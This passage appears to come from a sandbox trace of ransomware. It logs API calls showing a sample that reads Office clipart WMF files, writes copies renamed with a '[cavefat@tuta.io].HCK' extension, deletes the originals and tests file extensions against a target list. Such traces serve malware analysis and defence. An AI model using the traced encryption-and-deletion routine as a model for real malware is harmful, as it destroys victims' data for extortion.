Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.260] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.260] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.264] GetLastError () returned 0x0 [0178.264] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x38c6, lpOverlapped=0x0) returned 1 [0178.265] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0178.266] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.266] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.266] SetEndOfFile (hFile=0x3a4) returned 1 [0178.269] CloseHandle (hObject=0x3a4) returned 1 [0178.269] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.269] SetEndOfFile (hFile=0x368) returned 1 [0178.271] CloseHandle (hObject=0x368) returned 1 [0178.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf")) returned 1 [0178.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.272] lstrlenW (lpString=".doc") returned 4 [0178.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.272] lstrlenW (lpString=".docx") returned 5 [0178.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.272] lstrlenW (lpString=".pdf") returned 4 [0178.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.272] lstrlenW (lpString=".xls") returned 4 [0178.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.272] lstrlenW (lpString=".xlsx") returned 5 [0178.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.272] lstrlenW (lpString=".ppt") returned 4 [0178.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.272] lstrlenW (lpString=".zip") returned 4 [0178.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.273] lstrlenW (lpString=".rar") returned 4 [0178.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString=".bz2") returned 4 [0178.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString=".7z") returned 3 [0178.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.273] lstrlenW (lpString=".dbf") returned 4 [0178.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.273] lstrlenW (lpString=".1cd") returned 4 [0178.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.273] lstrlenW (lpString=".jpg") returned 4 [0178.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.273] lstrlenW (lpString=".doc") returned 4 [0178.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString=".docx") returned 5 [0178.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.273] lstrlenW (lpString=".pdf") returned 4 [0178.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString=".xls") returned 4 [0178.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.273] lstrlenW (lpString=".xlsx") returned 5 [0178.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.273] lstrlenW (lpString=".ppt") returned 4 [0178.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.273] lstrlenW (lpString=".zip") returned 4 [0178.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.273] lstrlenW (lpString=".rar") returned 4 [0178.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString=".bz2") returned 4 [0178.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString=".7z") returned 3 [0178.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.273] lstrlenW (lpString=".dbf") returned 4 [0178.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.274] lstrlenW (lpString=".1cd") returned 4 [0178.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 68 [0178.274] lstrlenW (lpString=".jpg") returned 4 [0178.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.274] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.274] lstrlenW (lpString="NA00452_.WMF") returned 12 [0178.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.276] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5308) returned 1 [0178.276] CloseHandle (hObject=0x370) returned 1 [0178.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf")) returned 0x220 [0178.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.284] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.284] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.288] GetLastError () returned 0x0 [0178.288] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x14bc, lpOverlapped=0x0) returned 1 [0178.289] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x14c0, lpOverlapped=0x0) returned 1 [0178.290] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.290] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.290] SetEndOfFile (hFile=0x370) returned 1 [0178.293] CloseHandle (hObject=0x370) returned 1 [0178.293] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.293] SetEndOfFile (hFile=0x368) returned 1 [0178.295] CloseHandle (hObject=0x368) returned 1 [0178.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf")) returned 1 [0178.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.296] lstrlenW (lpString=".doc") returned 4 [0178.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.296] lstrlenW (lpString=".docx") returned 5 [0178.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.296] lstrlenW (lpString=".pdf") returned 4 [0178.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.296] lstrlenW (lpString=".xls") returned 4 [0178.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.296] lstrlenW (lpString=".xlsx") returned 5 [0178.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.296] lstrlenW (lpString=".ppt") returned 4 [0178.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.297] lstrlenW (lpString=".zip") returned 4 [0178.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.297] lstrlenW (lpString=".rar") returned 4 [0178.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString=".bz2") returned 4 [0178.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString=".7z") returned 3 [0178.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.297] lstrlenW (lpString=".dbf") returned 4 [0178.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.297] lstrlenW (lpString=".1cd") returned 4 [0178.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.297] lstrlenW (lpString=".jpg") returned 4 [0178.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.297] lstrlenW (lpString=".doc") returned 4 [0178.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString=".docx") returned 5 [0178.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.297] lstrlenW (lpString=".pdf") returned 4 [0178.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString=".xls") returned 4 [0178.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.297] lstrlenW (lpString=".xlsx") returned 5 [0178.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.297] lstrlenW (lpString=".ppt") returned 4 [0178.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.297] lstrlenW (lpString=".zip") returned 4 [0178.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.297] lstrlenW (lpString=".rar") returned 4 [0178.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString=".bz2") returned 4 [0178.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.297] lstrlenW (lpString=".7z") returned 3 [0178.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.297] lstrlenW (lpString=".dbf") returned 4 [0178.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.298] lstrlenW (lpString=".1cd") returned 4 [0178.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0178.298] lstrlenW (lpString=".jpg") returned 4 [0178.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.298] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.298] lstrlenW (lpString="NA00487_.WMF") returned 12 [0178.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.300] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3088) returned 1 [0178.300] CloseHandle (hObject=0x3a4) returned 1 [0178.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf")) returned 0x220 [0178.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.308] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.309] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.313] GetLastError () returned 0x0 [0178.313] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xc10, lpOverlapped=0x0) returned 1 [0178.318] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xc20, lpOverlapped=0x0) returned 1 [0178.319] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.319] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.319] SetEndOfFile (hFile=0x370) returned 1 [0178.320] CloseHandle (hObject=0x370) returned 1 [0178.320] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.320] SetEndOfFile (hFile=0x2fc) returned 1 [0178.321] CloseHandle (hObject=0x2fc) returned 1 [0178.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf")) returned 1 [0178.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.324] lstrlenW (lpString=".doc") returned 4 [0178.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString=".docx") returned 5 [0178.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.325] lstrlenW (lpString=".pdf") returned 4 [0178.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString=".xls") returned 4 [0178.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.325] lstrlenW (lpString=".xlsx") returned 5 [0178.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.325] lstrlenW (lpString=".ppt") returned 4 [0178.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.325] lstrlenW (lpString=".zip") returned 4 [0178.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.325] lstrlenW (lpString=".rar") returned 4 [0178.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString=".bz2") returned 4 [0178.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString=".7z") returned 3 [0178.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.325] lstrlenW (lpString=".dbf") returned 4 [0178.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.325] lstrlenW (lpString=".1cd") returned 4 [0178.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.325] lstrlenW (lpString=".jpg") returned 4 [0178.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.325] lstrlenW (lpString=".doc") returned 4 [0178.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString=".docx") returned 5 [0178.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.325] lstrlenW (lpString=".pdf") returned 4 [0178.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString=".xls") returned 4 [0178.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.325] lstrlenW (lpString=".xlsx") returned 5 [0178.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.325] lstrlenW (lpString=".ppt") returned 4 [0178.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.325] lstrlenW (lpString=".zip") returned 4 [0178.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.326] lstrlenW (lpString=".rar") returned 4 [0178.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.326] lstrlenW (lpString=".bz2") returned 4 [0178.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.326] lstrlenW (lpString=".7z") returned 3 [0178.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.326] lstrlenW (lpString=".dbf") returned 4 [0178.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.326] lstrlenW (lpString=".1cd") returned 4 [0178.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0178.326] lstrlenW (lpString=".jpg") returned 4 [0178.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.326] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.326] lstrlenW (lpString="NA00525_.WMF") returned 12 [0178.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.330] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=22656) returned 1 [0178.330] CloseHandle (hObject=0x368) returned 1 [0178.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf")) returned 0x220 [0178.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.340] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.340] 